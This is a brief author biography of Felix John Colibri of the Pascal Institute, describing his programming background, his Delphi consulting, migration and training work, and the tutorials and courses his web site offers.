Felix John COLIBRI works at the Pascal Institute. Starting with Pascal in 1979, he then became involved with Object Oriented Programming, Delphi, Sql, Tcp/Ip, Html, UML. Currently, he is mainly
active in the area of custom software development (new projects, maintenance, audits, BDE migration, Delphi
Xe_n migrations, refactoring), Delphi Consulting and Delph
training. His web site features tutorials, technical papers about programming with full downloadable source code, and the description and calendar of forthcoming Delphi, FireBird, Tcp/IP, Web Services, OOP / UML, Design Patterns, Unit Testing training sessions. |